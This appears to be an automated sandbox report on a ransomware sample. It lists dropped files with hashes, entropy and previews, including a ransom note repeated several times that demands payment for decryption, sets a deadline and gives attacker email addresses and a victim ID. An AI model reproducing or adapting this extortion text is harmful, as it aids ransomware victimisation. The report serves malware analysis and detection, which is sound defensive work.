                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1125
                                                                                                                                                                Entropy (8bit):7.815952541849483
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:MWFYwC9hrikOjSbQvhVw43jN0T0Qyfwf00injeTiDKFRd0vYooapeK1tn6bdhJRr:T83+S07pXQyYUjeTxmwK1UbdhJRDuV3k
                                                                                                                                                                MD5:B047A7BAC7F71681A0E83DA8B53D85A3
                                                                                                                                                                SHA1:775A37CC6490125DB05B3BF086A2BFEFF44EDD3D
                                                                                                                                                                SHA-256:466BDB4DD5838F362377D38B08501A2792085150899DEF470873E474C0AC3FF1
                                                                                                                                                                SHA-512:567F4CA391C5F92614847A8C262D314D0432525B2B9625EDF7A5981D2C78FFA637C5C105FC50B04F775A52FF037D136A79B39B8495F61EB2CCE53C5663B440CD
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:Sq.T..%..Us.r..F.}7. ...q..<.PA.w.;X...A..`/yx.w...@H:X.....k.@..I.....=hY?.W4&...)...U...^'..QI.....j.l......%...`..*...p7..^.a...c...'6.I..V..$..(O.....i..F.$...3...."Q....p...C).3......[y..j.."NX.)..^D.,OL!..W;j.@.DB376+>.y)f*.....I......2....w..\W.FO..>.PF( ...p...v...`e..#..5...#...S,bhD...-DC..G....P.....W..Z.......@......Fj../..R{,.....J.7,}..p;...B......^..."....|....!...tn..5..bvO..V...........&.<...WW...$C......D.W.l...T.q..g.....~.a..,.........I..Q[..y......!uU..}..-.c...|..........C..B4.F...f..".M.B.....X......^..!u.uKG....}....&S.[..r..O@A..C.g.[?{.....\GR.C.p..!.).&.....JD.D.C.K.D..B.....$....I.c......~]Z..~....h...lWX....... Um.....R..7...,...KD#%N....o.{...L...B........O....1...f.\%.....].~.Ix.......L.{......w.a.Q.........I..H.Z..........9H.. ]&W.I.8.....d.8uX..P....b.Dq.G..g....3M.p..escription>.@.du...Y6.\%..[.p....@4..;.@$F).n.y.v...i..x......{>vH..|iu*.Z.Av.C......._t..u.X54[.u....4.0......(M(.h.2.*...&..7R8...q{...c.o.p.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1125
                                                                                                                                                                Entropy (8bit):7.815952541849483
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:MWFYwC9hrikOjSbQvhVw43jN0T0Qyfwf00injeTiDKFRd0vYooapeK1tn6bdhJRr:T83+S07pXQyYUjeTxmwK1UbdhJRDuV3k
                                                                                                                                                                MD5:B047A7BAC7F71681A0E83DA8B53D85A3
                                                                                                                                                                SHA1:775A37CC6490125DB05B3BF086A2BFEFF44EDD3D
                                                                                                                                                                SHA-256:466BDB4DD5838F362377D38B08501A2792085150899DEF470873E474C0AC3FF1
                                                                                                                                                                SHA-512:567F4CA391C5F92614847A8C262D314D0432525B2B9625EDF7A5981D2C78FFA637C5C105FC50B04F775A52FF037D136A79B39B8495F61EB2CCE53C5663B440CD
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:Sq.T..%..Us.r..F.}7. ...q..<.PA.w.;X...A..`/yx.w...@H:X.....k.@..I.....=hY?.W4&...)...U...^'..QI.....j.l......%...`..*...p7..^.a...c...'6.I..V..$..(O.....i..F.$...3...."Q....p...C).3......[y..j.."NX.)..^D.,OL!..W;j.@.DB376+>.y)f*.....I......2....w..\W.FO..>.PF( ...p...v...`e..#..5...#...S,bhD...-DC..G....P.....W..Z.......@......Fj../..R{,.....J.7,}..p;...B......^..."....|....!...tn..5..bvO..V...........&.<...WW...$C......D.W.l...T.q..g.....~.a..,.........I..Q[..y......!uU..}..-.c...|..........C..B4.F...f..".M.B.....X......^..!u.uKG....}....&S.[..r..O@A..C.g.[?{.....\GR.C.p..!.).&.....JD.D.C.K.D..B.....$....I.c......~]Z..~....h...lWX....... Um.....R..7...,...KD#%N....o.{...L...B........O....1...f.\%.....].~.Ix.......L.{......w.a.Q.........I..H.Z..........9H.. ]&W.I.8.....d.8uX..P....b.Dq.G..g....3M.p..escription>.@.du...Y6.\%..[.p....@4..;.@$F).n.y.v...i..x......{>vH..|iu*.Z.Av.C......._t..u.X54[.u....4.0......(M(.h.2.*...&..7R8...q{...c.o.p.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:Dyalog APL version -3.87
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.154238720135886
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:2HNYX76fIUkL9sf+oJk+w3TVJfUGqXLf9Yxr52333kzuAkSn:2tt9k5yJyTXrqz9Y94333OHn
                                                                                                                                                                MD5:6121A76499B06BA66E06E976810F37CE
                                                                                                                                                                SHA1:55411EF06B01E6C9C7E90A5D4F398981A1F1688A
                                                                                                                                                                SHA-256:8D8CA0C7D251F3BF3A879E5900B905AF654EBDA8C5874337E93183506F9FB054
                                                                                                                                                                SHA-512:63C67D312381277D9D2AAB18766CFAA1937EC4BBDB4B2E760885A793A60EF2B4E4B9811AA35D57415E1307D073682D67CC1052E9807F130B3F1ED0A9FEB91287
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...W.4..p=.c.................o6 ..4.e...2[.....Gn.T7Dt\.......l.B.wq.a.,l,.[X....\..=..#8..4.._........2...y.s...+7E).h..&.....N.5P#.[..~.fm.~.q.2.*L8?h..`9.....?......b...@...).OZ=..V..H.^([4@`...I3f0..VI88N.t6.3..B....{*.LR.U.A...9.X.B...V....\.P....`.....X'?^..^.?>0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):266
                                                                                                                                                                Entropy (8bit):7.097832965693905
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:23YCpxVt2UYtwaEvpBk73gkAEsqWNxtpn44Cjs+en:23zCwc73gbEsq0xtp4njten
                                                                                                                                                                MD5:8688B534BCC1900C53153D14ABDD6C5E
                                                                                                                                                                SHA1:B9974085693565CC4A08E644EA26439D7FF12338
                                                                                                                                                                SHA-256:A666C8AB7E11B20A401E48F43AA80E2896B519EFF8E7873613B05B137FB575D6
                                                                                                                                                                SHA-512:FB28044890412CAF8FB2672B4893D97F890A4DCC4CEE6E73893A04A37D2CCFCFD43130B7962D8A7547D93B0873AFA37FDCE62EC0E41BF1F066281B857DF6A52E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:........q/..d-.M...#h... ..,*D.+J....~@9..'.d.....wFc...ZSX1.|.LZ..\...v..A..p.....`j.=)..}oW`.1.x.J.!..d....t+.....`....19@q...:..#..#.R..H~..L.....0O..yB...j|d4.......|~..._..x....x..d..gTR!.d.D.]H;.NB..jv.Tl..5..%H..=C.m..4._|.]<.qBK.*..9......0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):266
                                                                                                                                                                Entropy (8bit):7.228768760518377
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:HNpMzKLU8CDg1hrrdNZ3u6kKgyUnwgIX3sANeraQ2Wv5PSn:XMzKrCDg1VZcwUnwQowaiSn
                                                                                                                                                                MD5:79E72BA127D6C7BEE96C25FC0627659A
                                                                                                                                                                SHA1:CAAE95EC626B6754959D7EBF51C0B1190F5E91FB
                                                                                                                                                                SHA-256:1A197C87C75D9E7D397D8FBEF9313B58EC443D91C2DB84D996A9B2DA5522DD25
                                                                                                                                                                SHA-512:B823528DABCDF298BFB24450C599A4114B99E69D09D356292B054E3B27655B2730F5D007400C4FCB55E481C8B13005E38407586263328412522EA972020F54CF
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:r2N..e..w...?..._..i`..,.Z...S.g.w.mY..Z...i.*.L.;..r..;.Yr.v.....Z.7a5.......l.Ou.f.gq}....3.exW(d'k..P.....U4X...7|4.Y.f."......E R.h.F._9.......^..tx...QK..^F..v...3...1Ot.}...>.....v.j..._.......i.p......y...c.?..}J#..?...]y[..v..6.....3.P0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:modified
                                                                                                                                                                Size (bytes):266
                                                                                                                                                                Entropy (8bit):7.179594642242225
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:B0rUQCUQX5pjVafxTd442E/cwxpXeOKj5cCXJxzsIn:LZvXzVqZME/cwvq55Rtn
                                                                                                                                                                MD5:CD975DEC1776E97F54B4B407A45D2CEB
                                                                                                                                                                SHA1:C98E9621E2D4BBF98F04644219FE53F06B0FC618
                                                                                                                                                                SHA-256:C0E2D4393FB6E01DE2D9E1C1EBAE92296B85E9088065EC3AB14BB359122429AB
                                                                                                                                                                SHA-512:756646322ADCB06E75A24BB627050E3982C2217BCE9F0B7362CAA110BE7CD9C7533396173BCAAFE52E67BAEDAEC57410538DBDEA83993E33A84D1631C75922A7
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.."..A^I.....F...E1.;..p.2..A.wu-.......\.#")s4c..L.......,..b...7.x.,..V3S.Sf.v.....:L....N.&.?...d..K.d..||...f....0.....e..B+......Y@2#.(..?5p..?*+J...l....[s...8.xn>........,}3....M!......z.uS..<ne....H..8C..U.)..pu.... J...:....*"-...t0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):266
                                                                                                                                                                Entropy (8bit):7.206212369540941
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:AE9Uwxr1uK5q3YAVGZusDW4+DMNEyMArYCCvV2n:AcrOtIQsy4+ogeUwn
                                                                                                                                                                MD5:C2AC53226C7B6631E4B5647DE4951AD5
                                                                                                                                                                SHA1:882315EF0C9D48148F097463CE17B5D247E84CE4
                                                                                                                                                                SHA-256:7B33A992F480515C2F4A214E129D1197EF8A52DC0AC4DDE2AB159F8C47723134
                                                                                                                                                                SHA-512:0934EFC77760273ADB08F9D49110366A4C798E56C9A774882BA0850FA01F7FAD5D4B7468ECC6E815E13A25DCB4851CFF83C57EEFD6334B3C2453343BF077E052
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:?.a..6\_pq^.9..9.X@XG..].[..{[kj.....p.'`i....|..s.-V..=Y.Eyt*W...o...`...D..V.^IRx.lD._.I0C..x-#MU.;n.z.<.|...!.....Efw>.8KQ..............fh(..0.;...;.t*......>.:.(...._..W.]VD.M..=..mXn.z.9.t7.>.*...VO[....&J...`.W.S.{...._..3.q..T..Oa.f.......0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):286
                                                                                                                                                                Entropy (8bit):7.257534340566326
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:7KOT0z537GJh9tjhATtyTA7wKgbbeYBH2crPPccnHn:cz56h88T1bfBWQfHn
                                                                                                                                                                MD5:F2FCFD2571D5EFD547537FA49B42A2CC
                                                                                                                                                                SHA1:2C381E45181AEA51EEC3980AA74C471F62EDC889
                                                                                                                                                                SHA-256:2695CE16FA3832A73CF9F1BCEF9640AD8D35C224CB003A3609E7CAF7FFD86912
                                                                                                                                                                SHA-512:49773EFB46AA43285E36158451DA956FAA343C27BC7DB1D6B8842420789CF928A22ADEC44F6D86BEBC2D25B243A8426C19DDF0313CE84CB42AE557944B0F1F50
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.A............E.....\X.AW.~....|?...i...HvM.R..e.-...P.oG,.6...+S.5[6...XR..G.;P...n.......w.$lJ..'.-.W-F....K.Q....R.,...W/....}.9...h.......mwD.c......Pu..G26W..:..w...O...o.3..s:~...t....pW8.A.....l.pC.Z..*+".....bW.&..-....7....?U..-.Db&.5.z%..7.^...0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):286
                                                                                                                                                                Entropy (8bit):7.257534340566326
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:7KOT0z537GJh9tjhATtyTA7wKgbbeYBH2crPPccnHn:cz56h88T1bfBWQfHn
                                                                                                                                                                MD5:F2FCFD2571D5EFD547537FA49B42A2CC
                                                                                                                                                                SHA1:2C381E45181AEA51EEC3980AA74C471F62EDC889
                                                                                                                                                                SHA-256:2695CE16FA3832A73CF9F1BCEF9640AD8D35C224CB003A3609E7CAF7FFD86912
                                                                                                                                                                SHA-512:49773EFB46AA43285E36158451DA956FAA343C27BC7DB1D6B8842420789CF928A22ADEC44F6D86BEBC2D25B243A8426C19DDF0313CE84CB42AE557944B0F1F50
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.A............E.....\X.AW.~....|?...i...HvM.R..e.-...P.oG,.6...+S.5[6...XR..G.;P...n.......w.$lJ..'.-.W-F....K.Q....R.,...W/....}.9...h.......mwD.c......Pu..G26W..:..w...O...o.3..s:~...t....pW8.A.....l.pC.Z..*+".....bW.&..-....7....?U..-.Db&.5.z%..7.^...0xABADCABA
                                                                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                File Type:JSON data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):55
                                                                                                                                                                Entropy (8bit):4.306461250274409
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                                                                                MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                                                                                SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                                                                                SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                                                                                SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}
                                                                                                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                File Type:HTML document, ASCII text, with very long lines (6862)
                                                                                                                                                                Category:downloaded
                                                                                                                                                                Size (bytes):8659
                                                                                                                                                                Entropy (8bit):5.099150071457631
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:aXsuoU6XUC3A6ld0/ZUU4rNqfQlAdavqa5mRLvO9Sb:aXszUDCw6ld0Rb434VO8
                                                                                                                                                                MD5:59F60F813BEE132EDDE724D375A5F3F4
                                                                                                                                                                SHA1:08EB45F27B517D6292ED137802DA9F988BF2FC04
                                                                                                                                                                SHA-256:BE1FE4A6EA0E871D9FA174A6FEB25265D28EFD1E2237E9E8F0DDB7FAB4A94255
                                                                                                                                                                SHA-512:26C2CE5D530A87A363BABF6D49A4F15CFB327514AE13B2678BF775A61A237859742C9E42BBFA4E9E149D01177CC5228BD91CB54F9983ABBF695B1B37D9496157
                                                                                                                                                                Malicious:false
                                                                                                                                                                URL:https://www.oldmutual.co.za/favicon.ico
                                                                                                                                                                Preview:<!DOCTYPE html>.<html data-html-server-rendered="true" lang="en" data-vue-tag="%7B%22lang%22:%7B%22ssr%22:%22en%22%7D%7D">. <head>. <title> </title><meta name="gridsome:hash" content="985b258c3f24d1c0dc027b9aaf6a85b6dd095c89"><meta data-vue-tag="ssr" name="google-site-verification" content="xrUvgzX2k1AWgqdiKqT0ugSWjNwSSE7w9lU2QF7EdsU"><meta data-vue-tag="ssr" name="facebook-domain-verification" content="k5kqrz6e2we7gyh2h56gfcpcln7rph"><meta data-vue-tag="ssr" http-equiv="X-UA-Compatible" content="IE=edge"><meta data-vue-tag="ssr" charset="utf-8"><meta data-vue-tag="ssr" name="generator" content="Gridsome v0.7.14"><meta data-vue-tag="ssr" data-key="viewport" name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover"><meta data-vue-tag="ssr" data-key="format-detection" name="format-detection" content="telephone=no"><meta data-vue-tag="ssr" name="google-site-verification" content="PY7wyunD0P7mjVCjJNIhZSONqGdouJT4OI3tT5J-tHA"><link data-vue-tag="ssr" rel="icon" t
                                                                                                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                File Type:PDF document, version 1.6 (zip deflate encoded)
                                                                                                                                                                Category:downloaded
                                                                                                                                                                Size (bytes):313058
                                                                                                                                                                Entropy (8bit):7.489403200507457
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:fIS2SsoMIr16Q9wt0I/pK9UW4cAgfmi+gKr116umiFBgKw1AlHCgKP1BSljgKr+g:fn2SVMIrIQ9c0I/s9U1cSrhjwvPnEr+g
                                                                                                                                                                MD5:0B46EEFB0F38BAF77484929DD67DB02C
                                                                                                                                                                SHA1:DE2CE2981F80DEB18935A2D7C76862D049FE7E2A
                                                                                                                                                                SHA-256:496212C9D3B71BF483C6B97E4803E00B46B5F8AE731FE4EAE73F614B41F22163
                                                                                                                                                                SHA-512:04A0518619385AC7E64A0B2122038C946A22E6E61A06FE539AB389EEB8C2414BF95A6D15DF2478E02F5733F4F2A8C4981B9D35BDE44C59FCD746B020E4B55172
                                                                                                                                                                Malicious:false
                                                                                                                                                                URL:https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                                                Preview:%PDF-1.6.%......1196 0 obj.<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>stream..h..Z{o.9..*.....0b7.M`.@.....v.v.7...m.m7FRk[.L|..~E.e..'.L...WU..X/.....[.Im2o\.Ek.Rb.`..........SRGf2/..gRZ...1.l.LZU.......I..F.S....T.;.L..3..u....v:....t<......v.F.dV.t......N..e3.%(+....A.T*GX>+-...,%8t.....Hb|iB `M\...e.......e....=K..=.z.=C.MN....z%.$z..4..P.S..x..SP......i..06N.._...j.\^..&.....7..r.)t....u....@~Z..2....7..._.8Bw..}=.....l.}.9...8.._.=>....^w.YX?..f.^.._..0.1.........r.d.8....dE....U.`...].]/...2.x..B.....<...r.........u...i...wU.I.7....hok.)......:.7M....lA..M...e....u%a.9.y..-......b.-.Rs......}..?./s.J.e.p....<....s....X.L..R.].l........Y.....6c9..Xq[...#..."W..2.cF(...=@....*&....E=_7..Q...qV.rq...p.h..B......^...e........P......[..gP.+_O>.zU..fU...n)...N...C.J.|..W~j......#{y.. ..g".........nQ.....n.S"N.dR.......&.K......i.y.\n.u......9P0.....`.7.Yx.).3}.{p..z.(....:......*...&...e.mpG...3......9.p...3....FA..{...f.0.....
                                                                                                                                                                Process:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                File Type:ASCII text, with CRLF, CR line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):48
                                                                                                                                                                Entropy (8bit):4.305255793112395
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:8yzGc7C1RREal:nzGtRV
                                                                                                                                                                MD5:6ED2062D4FB53D847335AE403B23BE62
                                                                                                                                                                SHA1:C3030ED2C3090594869691199F46BE7A9A12E035
                                                                                                                                                                SHA-256:43B5390113DCBFA597C4AAA154347D72F660DB5F2A0398EB3C1D35793E8220B9
                                                                                                                                                                SHA-512:C9C302215394FEC0B38129280A8303E0AF46BA71B75672665D89828C6F68A54E18430F953CE36B74F50DC0F658CA26AC3572EA60F9E6714AFFC9FB623E3C54FC
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ERROR:...Description = Initialization failure...
                                                                                                                                                                Process:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):283
                                                                                                                                                                Entropy (8bit):4.84674468132717
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:PzXULmWxHLTpUrUPZ7wUsW3CNcwAFeMmvVOIHJFxMVlmJHaVFiSbietG:P+pTpcUP9nsTDAFSkIrxMVlmJHaVJ/o
                                                                                                                                                                MD5:7DA6C89F3E3B1033285DEC8A71A04E4D
                                                                                                                                                                SHA1:4542097F9D99DF36E4A34CA6254CE7C01F78B258
